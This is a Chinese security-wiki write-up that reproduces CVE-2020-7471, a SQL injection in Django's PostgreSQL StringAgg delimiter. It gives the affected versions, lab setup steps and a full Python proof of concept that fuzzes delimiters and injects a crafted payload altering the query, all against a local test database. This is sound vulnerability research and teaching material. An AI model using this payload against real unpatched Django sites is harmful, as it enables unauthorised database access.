menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2020-7471)Django sql注入漏洞 chevron_right (CVE-2020-7471)Django sql注入漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2020-7471)Django sql注入漏洞.md
    4.04 KB / 2021-07-15 19:50:45
        (CVE-2020-7471)Django sql注入漏洞
    ===================================
    
    一、漏洞简介
    ------------
    
    Django是高水准的由Python编程语言驱动的一个开源Web应用程序框架,起源于开源社区。使用Django,程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序,应用广泛。2020年2月初,Django
    官方发布安全通告公布了一个通过StringAgg(分隔符)实现利用的潜在SQL注入漏洞(CVE-2020-7471)。攻击者可通过构造分隔符传递给聚合函数contrib.postgres.aggregates.StringAgg,从而绕过转义并注入恶意SQL语句
    
    二、漏洞影响
    ------------
    
    Django 1.11.x \< 1.11.28Django 2.2.x \< 2.2.10Django 3.0.x \< 3.0.3Django 主开发分支
    
    三、复现过程
    ------------
    
    ### 环境安装
    
    1.  安装 django 漏洞版本,我测试用的是
    
    -   pip install django==3.0.2 -i https://pypi.tuna.tsinghua.edu.cn/simple
    
    2.  参考
        https://www.runoob.com/postgresql/windows-install-postgresql.html
        完成 postgres 数据库的安装
    
    3.  新建数据库
    
    -   CREATE DATABASE test;
    
    4.  修改 sqlvul\_projects/settings.py
        里面的数据库配置,如果上一步你安装用的默认配置(包括设置密码为postgres),就无需修改任何配置,可以跳过这一步
    
    -   DATABASES = {
                'default': {
                    'ENGINE': 'django.db.backends.postgresql',
                    'NAME': 'test',         # 数据库名称
                    'USER': 'postgres',
                    'PASSWORD': 'postgres', # 数据库用户密码
                    'HOST': '127.0.0.1',    # 数据库地址
                    'PORT': '5432',
                }
            }
    
    5.  通过 django 初始化数据表
    
    -   python3 manage.py migrate
            python3 manage.py makemigrations vul_app
            python3 manage.py migrate vul_app
    
    ### poc
    
        # encoding:utf-8
        import os
        import django
        os.environ.setdefault("DJANGO_SETTINGS_MODULE", "sqlvul_project.settings")
    
        # Django 版本大于等于1.7的时候,需要加上下面两句
        if django.VERSION >= (1, 7):#自动判断版本
            django.setup()
    
        from vul_app.models import Info
        from django.contrib.postgres.aggregates import StringAgg
        from django.db.models import Count
    
        """
        postgres 预先执行的SQL
        CREATE DATABASE test;
        \c test;
        \d 列出当前数据库的所有表格
        """
    
        def initdb():
            data = [('li','male'),('zhao','male'),('zhang','female')]
            for name,gender in data:
                Info.objects.get_or_create(name=name,gender=gender)
    
        def query():
            # FUZZ delimiter
            error_c = []
            other_error_c = []
            for c in "!@#$%^&*()_+=-|\\\"':;?/>.<,{}[]":
                results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name',delimiter=c))
                try:
                    for e in results:
                        pass
                except IndexError:
                    error_c.append(c)
                except:
                    other_error_c.append(c)
            print(error_c)
            print(other_error_c)
    
        def query_with_evil():
            '''
            注入点证明
            分别设置delimiter为 单引号 二个单引号 二个双引号
            尝试注释后面的内容 ')--
            :return:
            '''
            print("[+]正常的输出:")
            payload = '-'
            results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
            for e in results:
                print(e)
            print("[+]注入后的的输出:")
            payload = '-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '
            results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
            for e in results:
                print(e)
    
    
    
        if __name__ == '__main__':
            print(django.VERSION) # 测试版本 3.0.2
            initdb()
            query()
            query_with_evil()
    
    然后运行 POC 脚本`CVE-2020-7471.py`就可以了
    
    > 漏洞环境及其poc下载地址:https://github.com/ianxtianxt/CVE-2020-7471
    
    
    links
    file_download